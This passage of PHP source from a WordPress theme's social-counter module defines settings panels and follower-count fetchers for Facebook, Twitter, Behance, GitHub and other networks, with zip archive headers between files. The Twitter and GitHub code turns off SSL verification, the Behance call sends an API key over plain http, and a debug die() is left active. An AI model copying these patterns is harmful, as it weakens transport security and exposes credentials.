			);

			return $meta_boxes;
		}

		function linkedin_option( $meta_boxes ) {
			$meta_boxes[] = array(
				'id'             => 'linkedin',
				'title'          => 'linkedin',
				'settings_pages' => 'penci_social_counter_settings',
				'tab'            => 'linkedin',

				'fields' => array(
					array(
						'id'   => 'linkedin_url',
						'type' => 'text',
						'name' => esc_html__( 'Linkedin url', 'soledad' )
					),
					array(
						'id'   => 'linkedin_name',
						'type' => 'text',
						'name' => esc_html__( 'Name', 'soledad' ),
						'std'  => esc_html__( 'Linkedin', 'soledad' ),
					),
					array(
						'id'   => 'linkedin_text_below',
						'type' => 'text',
						'name' => esc_html__( 'Text Below The Number', 'soledad' ),
						'std'  => penci_get_setting( 'penci_trans_follow' ),
					),
					array(
						'id'   => 'linkedin_text_btn',
						'type' => 'text',
						'name' => esc_html__( 'Custom Button Text', 'soledad' ),
						'std'  => esc_html__( 'Follow Us', 'soledad' ),
					),
				),
			);

			return $meta_boxes;
		}

		function pinterest_option( $meta_boxes ) {
			$meta_boxes[] = array(
				'id'             => 'pinterest',
				'title'          => 'pinterest',
				'settings_pages' => 'penci_social_counter_settings',
				'tab'            => 'pinterest',

				'fields' => array(
					array(
						'id'   => 'pinterest_name',
						'type' => 'text',
						'name' => esc_html__( 'Name', 'soledad' ),
						'std'  => '',
						'desc' => esc_html__( 'Enter your Pinterest username', 'soledad' ),
					),
					array(
						'id'   => 'pinterest_default',
						'type' => 'number',
						'name' => esc_html__( 'Number of Like default', 'soledad' ),
						'std'  => 0,
					),
					array(
						'id'   => 'pinterest_text_below',
						'type' => 'text',
						'name' => esc_html__( 'Text Below The Number', 'soledad' ),
						'std'  => esc_html__( 'Followers', 'soledad' ),
					),
					array(
						'id'   => 'pinterest_text_btn',
						'type' => 'text',
						'name' => esc_html__( 'Custom Button Text', 'soledad' ),
						'std'  => esc_html__( 'Follow Us', 'soledad' ),
					),
				),
			);

			return $meta_boxes;
		}

		function flickr_option( $meta_boxes ) {
			$meta_boxes[] = array(
				'id'             => 'flickr',
				'title'          => 'flickr',
				'settings_pages' => 'penci_social_counter_settings',
				'tab'            => 'flickr',

				'fields' => array(
					array(
						'id'   => 'flickr_name',
						'type' => 'text',
						'name' => esc_html__( 'Name', 'soledad' ),
						'desc' => __( 'Enter full URL of your Flickr profile.<br/>Example: <strong>https://www.flickr.com/photos/yourprofile/</strong>', 'soledad' ),
						'std'  => esc_html__( 'Flickr', 'soledad' ),
					),
					array(
						'id'   => 'flickr_default',
						'type' => 'number',
						'name' => esc_html__( 'Number of Like default.', 'soledad' ),
						'std'  => 0,
					),
					array(
						'id'   => 'flickr_text_below',
						'type' => 'text',
						'name' => esc_html__( 'Text Below The Number', 'soledad' ),
						'std'  => esc_html__( 'Followers', 'soledad' ),
					),
					array(
						'id'   => 'flickr_text_btn',
						'type' => 'text',
						'name' => esc_html__( 'Custom Button Text', 'soledad' ),
						'std'  => esc_html__( 'Follow Us', 'soledad' ),
					),
				),
			);

			return $meta_boxes;
		}

		function dribbble_option( $meta_boxes ) {
			$meta_boxes[] = array(
				'id'             => 'dribbble',
				'title'          => 'dribbble',
				'settings_pages' => 'penci_social_counter_settings',
				'tab'            => 'dribbble',

				'fields' => array(
					array(
						'id'   => 'dribbble_username',
						'type' => 'text',
						'name' => esc_html__( 'Dribbble UserName', 'soledad' )
					),
					array(
						'id'   => 'dribbble_token',
						'type' => 'text',
						'name' => esc_html__( 'Access Token Key', 'soledad' )
					),
					array(
						'id'   => 'dribbble_name',
						'type' => 'text',
						'name' => esc_html__( 'Name', 'soledad' ),
						'std'  => esc_html__( 'Dribbble', 'soledad' ),
					),
					array(
						'id'   => 'dribbble_default',
						'type' => 'number',
						'name' => esc_html__( 'Number of Like default', 'soledad' ),
						'std'  => 0,
					),
					array(
						'id'   => 'dribbble_text_below',
						'type' => 'text',
						'name' => esc_html__( 'Text Below The Number', 'soledad' ),
						'std'  => esc_html__( 'Followers', 'soledad' ),
					),
					array(
						'id'   => 'dribbble_text_btn',
						'type' => 'text',
						'name' => esc_html__( 'Custom Button Text', 'soledad' ),
						'std'  => esc_html__( 'Follow Us', 'soledad' ),
					),
				),
			);

			return $meta_boxes;
		}

		function delicious_option( $meta_boxes ) {
			$meta_boxes[] = array(
				'id'             => 'delicious',
				'title'          => 'delicious',
				'settings_pages' => 'penci_social_counter_settings',
				'tab'            => 'delicious',

				'fields' => array(
					array(
						'id'   => 'delicious_username',
						'type' => 'text',
						'name' => esc_html__( 'Delicious UserName', 'soledad' )
					),
					array(
						'id'   => 'delicious_name',
						'type' => 'text',
						'name' => esc_html__( 'Name', 'soledad' ),
						'std'  => esc_html__( 'Delicious', 'soledad' ),
					),
					array(
						'id'   => 'delicious_default',
						'type' => 'number',
						'name' => esc_html__( 'Number of Like default', 'soledad' ),
						'std'  => 0,
					),
					array(
						'id'   => 'delicious_text_below',
						'type' => 'text',
						'name' => esc_html__( 'Text Below The Number', 'soledad' ),
						'std'  => esc_html__( 'Followers', 'soledad' ),
					),
					array(
						'id'   => 'delicious_text_btn',
						'type' => 'text',
						'name' => esc_html__( 'Custom Button Text', 'soledad' ),
						'std'  => esc_html__( 'Follow Us', 'soledad' ),
					),
				),
			);

			return $meta_boxes;
		}

		function github_option( $meta_boxes ) {
			$meta_boxes[] = array(
				'id'             => 'github',
				'title'          => 'github',
				'settings_pages' => 'penci_social_counter_settings',
				'tab'            => 'github',

				'fields' => array(
					array(
						'id'   => 'github_username',
						'type' => 'text',
						'name' => esc_html__( 'Github UserName', 'soledad' )
					),
					array(
						'id'   => 'github_name',
						'type' => 'text',
						'name' => esc_html__( 'Name', 'soledad' ),
						'std'  => esc_html__( 'Github', 'soledad' ),
					),
					array(
						'id'   => 'github_default',
						'type' => 'number',
						'name' => esc_html__( 'Number of Like default', 'soledad' ),
						'std'  => 0,
					),
					array(
						'id'   => 'github_text_below',
						'type' => 'text',
						'name' => esc_html__( 'Text Below The Number', 'soledad' ),
						'std'  => esc_html__( 'Followers', 'soledad' ),
					),
					array(
						'id'   => 'github_text_btn',
						'type' => 'text',
						'name' => esc_html__( 'Custom Button Text', 'soledad' ),
						'std'  => esc_html__( 'Follow Us', 'soledad' ),
					),
				),
			);

			return $meta_boxes;
		}

		function behance_option( $meta_boxes ) {
			$meta_boxes[] = array(
				'id'             => 'behance',
				'title'          => 'behance',
				'settings_pages' => 'penci_social_counter_settings',
				'tab'            => 'behance',

				'fields' => array(
					array(
						'id'   => 'behance_name',
						'type' => 'text',
						'name' => esc_html__( 'Name', 'soledad' ),
						'std'  => '',
						'desc' => esc_html__( 'Enter your Behance username', 'soledad' ),
					),
					array(
						'id'   => 'behance_api',
						'type' => 'text',
						'name' => esc_html__( 'Behance API Key', 'soledad' ),
						'desc' => __( 'Get your key <a target="_blank" href="https://www.behance.net/dev/apps">here</a>.', 'soledad' ),
					),
					array(
						'id'   => 'behance_default',
						'type' => 'number',
						'name' => esc_html__( 'Number of Like default', 'soledad' ),
						'std'  => 0,
					),
					array(
						'id'   => 'behance_text_below',
						'type' => 'text',
						'name' => esc_html__( 'Text Below The Number', 'soledad' ),
						'std'  => esc_html__( 'Followers', 'soledad' ),
					),
					array(
						'id'   => 'behance_text_btn',
						'type' => 'text',
						'name' => esc_html__( 'Custom Button Text', 'soledad' ),
						'std'  => esc_html__( 'Follow Us', 'soledad' ),
					),
				),
			);

			return $meta_boxes;
		}

		function vk_option( $meta_boxes ) {
			$meta_boxes[] = array(
				'id'             => 'vk',
				'title'          => 'vk',
				'settings_pages' => 'penci_social_counter_settings',
				'tab'            => 'vk',

				'fields' => array(
					array(
						'id'   => 'vk_name',
						'type' => 'text',
						'name' => esc_html__( 'Name', 'soledad' ),
						'std'  => '',
						'desc' => esc_html__( 'Enter your VK username.', 'soledad' ),
					),
					array(
						'id'   => 'vk_api',
						'type' => 'text',
						'name' => esc_html__( 'VK API', 'soledad' ),
						'std'  => '',
						'desc' => __( 'Enter your VK API. Get your key <a target="_blank" href="https://vk.com/dev/">here</a>.', 'soledad' ),
					),
					array(
						'id'   => 'vk_default',
						'type' => 'number',
						'name' => esc_html__( 'Number of Like default', 'soledad' ),
						'std'  => 0,
					),
					array(
						'id'   => 'vk_text_below',
						'type' => 'text',
						'name' => esc_html__( 'Text Below The Number', 'soledad' ),
						'std'  => esc_html__( 'Followers', 'soledad' ),
					),
					array(
						'id'   => 'vk_text_btn',
						'type' => 'text',
						'name' => esc_html__( 'Custom Button Text', 'soledad' ),
						'std'  => esc_html__( 'Follow Us', 'soledad' ),
					),
				),
			);

			return $meta_boxes;
		}

		function tiktok_option( $meta_boxes ) {
			$meta_boxes[] = array(
				'id'             => 'tiktok',
				'title'          => 'tiktok',
				'settings_pages' => 'penci_social_counter_settings',
				'tab'            => 'tiktok',

				'fields' => array(
					array(
						'id'   => 'tiktok_name',
						'type' => 'text',
						'name' => esc_html__( 'Name', 'soledad' ),
						'std'  => '',
						'desc' => esc_html__( 'Enter your Tiktok username.', 'soledad' ),
					),
					array(
						'id'   => 'tiktok_default',
						'type' => 'number',
						'name' => esc_html__( 'Number of Like default', 'soledad' ),
						'std'  => 0,
					),
					array(
						'id'   => 'tiktok_text_below',
						'type' => 'text',
						'name' => esc_html__( 'Text Below The Number', 'soledad' ),
						'std'  => esc_html__( 'Followers', 'soledad' ),
					),
					array(
						'id'   => 'tiktok_text_btn',
						'type' => 'text',
						'name' => esc_html__( 'Custom Button Text', 'soledad' ),
						'std'  => esc_html__( 'Follow Us', 'soledad' ),
					),
				),
			);

			return $meta_boxes;
		}

		function twitch_option( $meta_boxes ) {
			$meta_boxes[] = array(
				'id'             => 'twitch',
				'title'          => 'twitch',
				'settings_pages' => 'penci_social_counter_settings',
				'tab'            => 'twitch',

				'fields' => array(
					array(
						'id'   => 'twitch_name',
						'type' => 'text',
						'name' => esc_html__( 'Name', 'soledad' ),
						'std'  => '',
						'desc' => esc_html__( 'Enter your Twitch channel name.', 'soledad' ),
					),
					array(
						'id'   => 'twitch_client_id',
						'type' => 'text',
						'name' => esc_html__( 'Client ID', 'soledad' ),
						'std'  => esc_html__( 'Twitch', 'soledad' ),
						'desc' => __( 'You can create an application and get Twitch Client ID <a href="https://dev.twitch.tv/docs/v5/guides/authentication/" target="_blank">here</a>.', 'soledad' ),
					),
					array(
						'id'   => 'twitch_default',
						'type' => 'number',
						'name' => esc_html__( 'Number of Like default', 'soledad' ),
						'std'  => 0,
					),
					array(
						'id'   => 'twitch_text_below',
						'type' => 'text',
						'name' => esc_html__( 'Text Below The Number', 'soledad' ),
						'std'  => esc_html__( 'Followers', 'soledad' ),
					),
				),
			);

			return $meta_boxes;
		}

		function rss_option( $meta_boxes ) {
			$meta_boxes[] = array(
				'id'             => 'rss',
				'title'          => 'rss',
				'settings_pages' => 'penci_social_counter_settings',
				'tab'            => 'rss',

				'fields' => array(
					array(
						'id'   => 'rss_name',
						'type' => 'text',
						'name' => esc_html__( 'Name', 'soledad' ),
						'desc' => __( 'Enter the RSS unique setting name.<br><i>Put any text you want but not leave it blank.</i>', 'soledad' ),
					),
					array(
						'id'      => 'rss_type',
						'type'    => 'select',
						'name'    => esc_html__( 'Type', 'soledad' ),
						'options' => array(
							'feedpress' => 'feedpress.it',
							'manual'    => esc_html__( 'Manual', 'soledad' ),
						),
					),
					array(
						'id'   => 'rss_feedpress',
						'type' => 'text',
						'name' => esc_html__( 'Feedpress.it JSON file URL', 'soledad' ),
						'desc' => esc_html__( 'Apply to Feedpress RSS Type', 'soledad' ),
						'std'  => '',
					),
					array(
						'id'   => 'rss_feed_uri',
						'type' => 'text',
						'name' => esc_html__( 'Feed URL', 'soledad' ),
						'desc' => esc_html__( 'Apply to Manual RSS Type', 'soledad' ),
					),
					array(
						'id'   => 'rss_default',
						'type' => 'number',
						'name' => esc_html__( 'Number of Subscriber default', 'soledad' ),
						'desc' => esc_html__( 'Show custom subscirbe on Manual RSS Type', 'soledad' ),
						'std'  => 0,
					),
					array(
						'id'   => 'rss_text_below',
						'type' => 'text',
						'name' => esc_html__( 'Text below the number', 'soledad' ),
					),
					array(
						'id'   => 'rss_text_btn',
						'type' => 'text',
						'name' => esc_html__( 'Custom Button Text', 'soledad' ),
					),
				),
			);

			return $meta_boxes;
		}

	}

	new Penci_Social_Counter;
endif;
PK     N\L^0  0  ,  inc/social-counter/counter-delicious-api.phpnu [        <?php
if ( ! defined( 'ABSPATH' ) ) {
	exit;
}
if ( ! class_exists( 'Penci_Social_Counter_Delicious_API' ) ):
	class Penci_Social_Counter_Delicious_API {
		public static function get_count( $data, $cache_period ) {

			$page_id       = preg_replace( '/\s+/', '', $data['name'] );
			$data['url']   = "https://del.icio.us/$page_id";
			$data['icon']  = penci_icon_by_ver( 'fab fa-delicious' );
			$default_count = penci_get_social_counter_option( 'delicious_default' );

			$data['count'] = $default_count ? $default_count : 0;

			return $data;
		}
	}

endif;
PK     N\K    '  inc/social-counter/counter-vine-api.phpnu [        <?php
if ( ! defined( 'ABSPATH' ) ) {
	exit;
}
if ( ! class_exists( 'Penci_Social_Counter_Vine_API' ) ):
	class Penci_Social_Counter_Vine_API {
		public static function get_count( $data, $cache_period ) {

			$page_id      = preg_replace( '/\s+/', '', $data['name'] );
			$data['url']  = $page_id;
			$data['icon'] = penci_icon_by_ver( 'fab fa-vine' );

			$default_count = penci_get_social_counter_option( 'vine_default' );


			$data['count'] = $default_count ? $default_count : 0;


			return $data;
		}
	}

endif;
PK     N\<<    *  inc/social-counter/counter-youtube-api.phpnu [        <?php
if ( ! defined( 'ABSPATH' ) ) {
	exit;
}
if ( ! class_exists( 'Penci_Social_Counter_Youtube_API' ) ):
	class Penci_Social_Counter_Youtube_API {
		public static function get_count( $data, $cache_period ) {
			if ( empty( $data['name'] ) ) {
				return $data;
			}

			$user_id      = preg_replace( '/\s+/', '', $data['name'] );
			$data['icon'] = penci_icon_by_ver( 'fab fa-youtube' );

			$default_count = penci_get_social_counter_option( 'youtube_default' );
			$cache_key     = 'penci_counter_youtube' . $user_id;
			$youtube_count = $default_count ? $default_count : get_transient( $cache_key );
			$youtube_type  = penci_get_social_counter_option( 'youtube_type', 'channel' );
			$youtube_api   = penci_get_social_counter_option( 'youtube_api_key' );

			if ( 'channel' === $youtube_type ) {
				$data['url'] = "https://www.youtube.com/c/$user_id";
			} else {
				$data['url'] = "https://www.youtube.com/$user_id";
			}

			if ( ! $youtube_count && $youtube_api ) {
				$count = 0;
				if ( $youtube_type == 'channel' ) {
					$youtube_data = @penci_remote_get( "https://www.googleapis.com/youtube/v3/channels?part=statistics&id=$user_id&key=$youtube_api" );
				} else {
					$youtube_data = @penci_remote_get( "https://www.googleapis.com/youtube/v3/channels?part=statistics&forUsername=$user_id&key=$youtube_api" );
				}
				if ( isset( $youtube_data['items'][0]['statistics']['subscriberCount'] ) && $youtube_data['items'][0]['statistics']['subscriberCount'] ) {
					$count = (int) $youtube_data['items'][0]['statistics']['subscriberCount'];
				}
				if ( $count ) {
					set_transient( $cache_key, $count, $cache_period );
					$data['count'] = $count;
				}
			}

			return $data;
		}
	}

endif;
PK     N\Ɍ    *  inc/social-counter/counter-behance-api.phpnu [        <?php
if ( ! defined( 'ABSPATH' ) ) {
	exit;
}
if ( ! class_exists( 'Penci_Social_Counter_Behance_API' ) ):
	class Penci_Social_Counter_Behance_API {
		public static function get_count( $data, $cache_period ) {

			$user_id      = preg_replace( '/\s+/', '', $data['name'] );
			$data['url']  = "https://www.behance.net/$user_id";
			$data['icon'] = penci_icon_by_ver( 'fab fa-behance' );

			$behance_api           = penci_get_social_counter_option( 'behance_api' );
			$behance_count_default = penci_get_social_counter_option( 'behance_default' );
			$behance_count         = $behance_count_default ? $behance_count_default : get_transient( 'penci_counter_behance' . $user_id );

			if ( ! $behance_count && $behance_api ) {
				try {
					$data  = @penci_remote_get( "http://www.behance.net/v2/users/$user_id?api_key=$behance_api" );
					$count = (int) $data['user']['stats']['followers'];
				} catch ( Exception $e ) {
					$count = 0;
				}
				set_transient( 'penci_counter_behance' . $user_id, $count, $cache_period );
			} else {
				$count = $behance_count;
			}

			if ( $count ) {
				$data['count'] = $count;
			}

			return $data;
		}
	}

endif;
PK     N\̍
  
  (  inc/social-counter/counter-steam-api.phpnu [        <?php
if ( ! defined( 'ABSPATH' ) ) {
	exit;
}
if ( ! class_exists( 'Penci_Social_Counter_Steam_API' ) ):
	class Penci_Social_Counter_Steam_API {
		public static function get_count( $data, $cache_period ) {

			$page_id      = preg_replace( '/\s+/', '', $data['name'] );
			$data['url']  = $page_id;
			$data['icon'] = penci_icon_by_ver( 'fab fa-steam' );

			$default_count = penci_get_social_counter_option( 'steam_default' );


			$data['count'] = $default_count ? $default_count : 0;


			return $data;
		}
	}

endif;
PK     N\*#    ,  inc/social-counter/counter-pinterest-api.phpnu [        <?php
if ( ! defined( 'ABSPATH' ) ) {
	exit;
}
if ( ! class_exists( 'Penci_Social_Counter_Pinterest_API' ) ):
	class Penci_Social_Counter_Pinterest_API {
		public static function get_count( $data, $cache_period ) {
			$count           = 0;
			$user_id         = preg_replace( '/\s+/', '', $data['name'] );
			$data['url']     = "https://www.pinterest.com/$user_id";
			$data['icon']    = penci_icon_by_ver( 'fab fa-pinterest' );
			$default_count   = penci_get_social_counter_option( 'pinterest_default' );
			$cache_key       = 'penci_counter__pinterest' . $user_id;
			$pinterest_count = $default_count ? $default_count : get_transient( $cache_key );
			if ( ! $pinterest_count ) {

				try {

					$url      = "https://www.pinterest.com/$user_id/";
					$response = wp_remote_get( $url, array(
						'timeout' => 10,
					) );

					$pattern = "/name=\"pinterestapp:followers\" content=\"(.*?)\"/";
					preg_match( $pattern, $response['body'], $matches );

					if ( ! empty( $matches[1] ) ) {
						$count = (int) $matches[1];
						set_transient( $cache_key, $count );
					}

				} catch ( Exception $e ) {
					$count = 0;
				}

			} else {
				$count = $pinterest_count;
			}

			$data['count'] = $count;

			return $data;
		}
	}

endif;
PK     N\	t}  }  )  inc/social-counter/counter-github-api.phpnu [        <?php
if ( ! defined( 'ABSPATH' ) ) {
	exit;
}
if ( ! class_exists( 'Penci_Social_Counter_Github_API' ) ):
	class Penci_Social_Counter_Github_API {
		public static function get_count( $data, $cache_period ) {

			$user_id      = preg_replace( '/\s+/', '', $data['name'] );
			$data['url']  = "https://github.com/$user_id";
			$data['icon'] = penci_icon_by_ver( 'fab fa-github' );

			$cache_key     = 'penci_counter_github' . $user_id;
			$default_count = penci_get_social_counter_option( 'github_default' );
			$github_count  = $default_count ? $default_count : get_transient( $cache_key );
			if ( ! $github_count ) {
				$penci_data = self::get_json( "https://api.github.com/users/$user_id" );
				$count      = isset( $penci_data['followers'] ) ? intval( $penci_data['followers'] ) : 0;

				set_transient( $cache_key, $count, $cache_period );
			} else {
				$count = $github_count;
			}

			if ( $count ) {
				$data['count'] = $count;
			}

			return $data;
		}

		public static function get_url_wordpress( $url ) {

			$response = wp_remote_get( $url, array(
				'timeout'    => 10,
				'sslverify'  => false,
				'user-agent' => 'Mozilla/5.0 (Windows NT 6.3; WOW64; rv:35.0) Gecko/20100101 Firefox/35.0'
			) );

			if ( is_wp_error( $response ) ) {
				return false;
			}

			$penci_request_result = wp_remote_retrieve_body( $response );

			if ( empty( $penci_request_result ) ) {
				return false;
			}

			return $penci_request_result;
		}

		private static function get_url( $url ) {
			return self::get_url_wordpress( $url );
		}

		private static function get_json( $url ) {
			return json_decode( self::get_url( $url ), true );
		}

	}

endif;
PK     N\
b$    +  inc/social-counter/counter-linkedin-api.phpnu [        <?php
if ( ! defined( 'ABSPATH' ) ) {
	exit;
}
if ( ! class_exists( 'Penci_Social_Counter_Linkedin_API' ) ):
	class Penci_Social_Counter_Linkedin_API {
		public static function get_count( $data, $cache_period ) {

			$page_id      = preg_replace( '/\s+/', '', $data['name'] );
			$data['url']  = $page_id;
			$data['icon'] = penci_icon_by_ver( 'fab fa-linkedin-in' );

			$default_count = penci_get_social_counter_option( 'likedin_default' );


			$data['count'] = $default_count ? $default_count : 0;


			return $data;
		}
	}

endif;
PK     N\Y    +  inc/social-counter/counter-dribbble-api.phpnu [        <?php
if ( ! defined( 'ABSPATH' ) ) {
	exit;
}
if ( ! class_exists( 'Penci_Social_Counter_Dribbble_API' ) ):
	class Penci_Social_Counter_Dribbble_API {
		public static function get_count( $data, $cache_period ) {

			$page_id      = preg_replace( '/\s+/', '', $data['name'] );
			$data['url']  = "https://dribbble.com/$page_id";
			$data['icon'] = penci_icon_by_ver( 'fab fa-dribbble' );

			$count = penci_get_social_counter_option( 'dribbble_default' );

			$data['count'] = $count ? $count : 0;

			return $data;
		}
	}

endif;
PK     N\    )  inc/social-counter/counter-flickr-api.phpnu [        <?php
if ( ! defined( 'ABSPATH' ) ) {
	exit;
}
if ( ! class_exists( 'Penci_Social_Counter_Flickr_API' ) ):
	class Penci_Social_Counter_Flickr_API {
		public static function get_count( $data, $cache_period ) {

			$page_id      = preg_replace( '/\s+/', '', $data['name'] );
			$data['url']  = $page_id;
			$data['icon'] = penci_icon_by_ver( 'fab fa-flickr' );


			$count         = 0;
			$cache_key     = 'penci_counter__flickr' . $page_id;
			$default_count = penci_get_social_counter_option( 'flickr_default' );
			$flickr_count  = $default_count ? $default_count : get_transient( $cache_key );

			if ( ! $flickr_count && filter_var( $page_id, FILTER_VALIDATE_URL ) !== false ) {
				$params = array( 'sslverify' => true, 'timeout' => 60 );

				$connection = wp_remote_get( $page_id, $params );

				if ( ! is_wp_error( $connection ) ) {
					$pattern = "/\"followerCount\":(.*?),\"/";
					preg_match( $pattern, $connection['body'], $matches );

					if ( ! empty( $matches[1] ) ) {
						$count = (int) $matches[1];
					}
				}

				set_transient( $cache_key, $count, $cache_period );
			} else {
				$count = $flickr_count;
			}

			if ( $count ) {
				$data['count'] = $count;
			}

			return $data;
		}
	}

endif;
PK     N\z}  }  ,  inc/social-counter/counter-instagram-api.phpnu [        <?php
if ( ! defined( 'ABSPATH' ) ) {
	exit;
}
if ( ! class_exists( 'Penci_Social_Counter_Instagram_API' ) ):
	class Penci_Social_Counter_Instagram_API {
		public static function get_count( $data, $cache_period ) {

			$user_id      = preg_replace( '/\s+/', '', $data['name'] );
			$data['url']  = "https://www.instagram.com/$user_id";
			$data['icon'] = penci_icon_by_ver( 'fab fa-instagram' );

			$cache_key       = 'penci_counter__instagram' . $user_id;
			$default_count   = penci_get_social_counter_option( 'instagram_default' );
			$instagram_count = $default_count ? $default_count : get_transient( $cache_key );
			if ( ! $instagram_count ) {

				$count = self::penci_get_instagram_data( $user_id );

				set_transient( $cache_key, $count, $cache_period );

			} else {
				$count = $instagram_count;
			}

			if ( $count ) {
				$data['count'] = $count;
			}

			return $data;
		}

		public static function penci_get_instagram_data( $username ) {
			$url      = 'https://webstagram.org/api?api_key=0&username=' . esc_attr( $username ) . '&source=instagram';
			$response = wp_remote_get( $url, array(
				'timeout' => 10,
			) );

			if ( wp_remote_retrieve_response_message( $response ) ) {
				$response = json_decode( $response['body'], true );

				return isset( $response['followers'] ) && $response['followers'] ? $response['followers'] : 0;
			} else {
				return 0;
			}
		}
	}

endif;
PK     N\vq{  {  +  inc/social-counter/counter-facebook-api.phpnu [        <?php
if ( ! defined( 'ABSPATH' ) ) {
	exit;
}
if ( ! class_exists( 'Penci_Social_Counter_Facebook_API' ) ):
	class Penci_Social_Counter_Facebook_API {
		public static function get_count( $data, $cache_period ) {

			$page_id        = preg_replace( '/\s+/', '', $data['name'] );
			$default_count  = penci_get_social_counter_option( 'facebook_default' );
			$key            = penci_get_social_counter_option( 'facebook_token' );
			$facebook_count = $default_count ? $default_count : get_transient( 'penci_counter_facebook' . $page_id );

			if ( !$facebook_count ) {

				if ( $key ) {
					$counter = self::get_fb_count( $page_id, $key );
				} else {
					$counter = self::get_fb_count_wapi( $page_id );
				}

				if ( $counter ) { //To update the stored data
					$data['count'] = $counter;
					set_transient( 'penci_counter_facebook' . $page_id, $counter, $cache_period );
				}
			} else {
				$data['count'] = $facebook_count;
			}

			$data['url']  = "https://www.facebook.com/$page_id";
			$data['icon'] = penci_icon_by_ver( 'fab fa-facebook-f' );

			return $data;
		}

		public static function get_fb_count( $name, $key ) {
			$counter  = 0;
			$url      = 'https://graph.facebook.com/v11.0/' . $name . '?access_token=' . $key . '&fields=followers_count';
			$response = wp_remote_get( $url, array(
				'timeout' => 20,
			) );
			if ( is_array( $response ) && ! is_wp_error( $response ) ) {
				$result = json_decode( $response['body'] );
				if ( ! empty( $result->fan_count ) ) {
					$counter = $result->fan_count;
				}
			}
			if ( $counter ) {
				return (int) $counter;
			} else {
				return 0;
			}
		}

		public static function get_fb_count_wapi( $name ) {
			$counter  = 0;
			$url      = 'https://www.facebook.com/plugins/fan.php?connections=100&id=' . $name;
			$response = wp_remote_get( $url, array(
				'timeout' => 20,
			) );
			if ( is_array( $response ) && ! is_wp_error( $response ) ) {
				$pattern = "/<div class=\"_1drq\" style=\"max-width: 220px;\">(.*?)<\/div>/";
				$counter = penci_get_the_number( $pattern, $response['body'] );
			}
			if ( $counter ) {
				return (int) $counter;
			} else {
				return 0;
			}
		}
	}

endif;
PK     N\K4S  S  )  inc/social-counter/counter-twitch-api.phpnu [        <?php
if ( ! defined( 'ABSPATH' ) ) {
	exit;
}
if ( ! class_exists( 'Penci_Social_Counter_Twitch_API' ) ):
	class Penci_Social_Counter_Twitch_API {
		public static function get_count( $data, $cache_period ) {

			$page_id       = preg_replace( '/\s+/', '', $data['name'] );
			$data['url']   = 'https://www.twitch.tv/' . $page_id;
			$data['icon']  = penci_icon_by_ver( 'fab fa-twitch' );
			$default_count = penci_get_social_counter_option( 'twitch_default' );
			$twitch_count  = $default_count ? $default_count : get_transient( 'penci_counter_twitch' . $page_id );
			$twitch_api    = penci_get_social_counter_option( 'twitch_client_id' );

			if ( ! $twitch_count && $twitch_api ) {
				try {
					$result   = array();
					$response = wp_remote_get( 'https://api.twitch.tv/kraken/channels/' . $page_id . '?client_id=' . $twitch_api, array( 'timeout' => 20 ) );
					if ( is_array( $response ) && ! is_wp_error( $response ) ) {
						$result = json_decode( $response['body'] );
					}
					if ( ! empty( $result ) && ! empty( $result->followers ) ) {
						$count = $result->followers;
					}
				} catch ( Exception $e ) {
					$count = 0;
				}

				set_transient( 'penci_counter_twitch' . $page_id, $count, $cache_period );
			} else {
				$count = $twitch_count;
			}

			if ( $count ) {
				$data['count'] = $count;
			}

			return $data;
		}
	}

endif;
PK     N\ .  .  *  inc/social-counter/counter-twitter-api.phpnu [        <?php
if ( ! defined( 'ABSPATH' ) ) {
	exit;
}
if ( ! class_exists( 'Penci_Social_Counter_Twitter_API' ) ):
	class Penci_Social_Counter_Twitter_API {
		public static function get_count( $data, $cache_period ) {
			$user_id       = preg_replace( '/\s+/', '', $data['name'] );
			$data['url']   = "https://x.com/$user_id";
			$data['icon']  = penci_icon_by_ver( 'penciicon-x-twitter' );
			$default_count = penci_get_social_counter_option( 'twitter_default' );
			$cache_key     = 'penci_counter_twitter' . $user_id;
			$twitter_count = $default_count ? $default_count : get_transient( $cache_key );

			$count = 0;

			$api = [];

			$gnr = get_option( 'penci_social_counter_settings' );

			if ( $gnr['twitter_api_key'] ) {
				$key = $gnr['twitter_api_key'];
			}

			if ( $gnr['twitter_api_key_secret'] ) {
				$src = $gnr['twitter_api_key_secret'];
			}


			if ( ! $twitter_count ) {

				$count = self::getTwitterFollowers( $user_id, $key, $src );
				set_transient( $cache_key, $count, $cache_period );

			} else {
				$count = $twitter_count;
			}

			if ( $count ) {
				$data['count'] = $count;
			}

			return $data;
		}

		/**
		 * Extract numbers from string
		 *
		 * @param $penci_string
		 *
		 * @return string
		 */
		private static function extract_numbers_from_string( $penci_string ) {
			$output = '';
			foreach ( str_split( $penci_string ) as $penci_char ) {
				if ( is_numeric( $penci_char ) ) {
					$output .= $penci_char;
				}
			}

			return $output;
		}

		public static function getTwitterFollowers($screenName = 'envato', $key = '', $src = '') {
		    // some variables
		    $consumerKey = $key;
		    $consumerSecret = $src;
		    $token = get_option('cfTwitterToken_'.$screenName);
		  
		    // get follower count from cache
		    $numberOfFollowers = get_transient('cfTwitterFollowers_'.$screenName);
		   
		    // cache version does not exist or expired
		    if (false === $numberOfFollowers) {
		        // getting new auth bearer only if we don't have one
		        if(!$token) {
		            // preparing credentials
		            $credentials = $consumerKey . ':' . $consumerSecret;
		            $toSend = base64_encode($credentials);
		   
		            // http post arguments
		            $args = array(
		                'method' => 'POST',
		                'httpversion' => '1.1',
		                'blocking' => true,
		                'headers' => array(
		                    'Authorization' => 'Basic ' . $toSend,
		                    'Content-Type' => 'application/x-www-form-urlencoded;charset=UTF-8'
		                ),
		                'body' => array( 'grant_type' => 'client_credentials' )
		            );
		   
		            add_filter('https_ssl_verify', '__return_false');
		            $response = wp_remote_post('https://api.twitter.com/oauth2/token', $args);
		   
		            $keys = json_decode(wp_remote_retrieve_body($response));
		   
		            if($keys) {
		                // saving token to wp_options table
		                update_option('cfTwitterToken_'.$screenName, $keys->access_token);
		                $token = $keys->access_token;
		            }
		        }
		        // we have bearer token wether we obtained it from API or from options
		        $args = array(
		            'httpversion' => '1.1',
		            'blocking' => true,
		            'headers' => array(
		                'Authorization' => "Bearer $token"
		            )
		        );
		   
		        add_filter('https_ssl_verify', '__return_false');
		        $api_url = "https://api.twitter.com/2/users/by/username/$screenName";
		        $response = wp_remote_get($api_url, $args);
		   
		        if (!is_wp_error($response)) {
		            $followers = json_decode(wp_remote_retrieve_body($response));
		            $numberOfFollowers = isset( $followers->followers_count ) ? $followers->followers_count : '';
		        } else {
		            // get old value and break
		            $numberOfFollowers = get_option('cfNumberOfFollowers_'.$screenName);
		            // uncomment below to debug
		           die($response->get_error_message());
		        }
		   
		        // cache for an hour
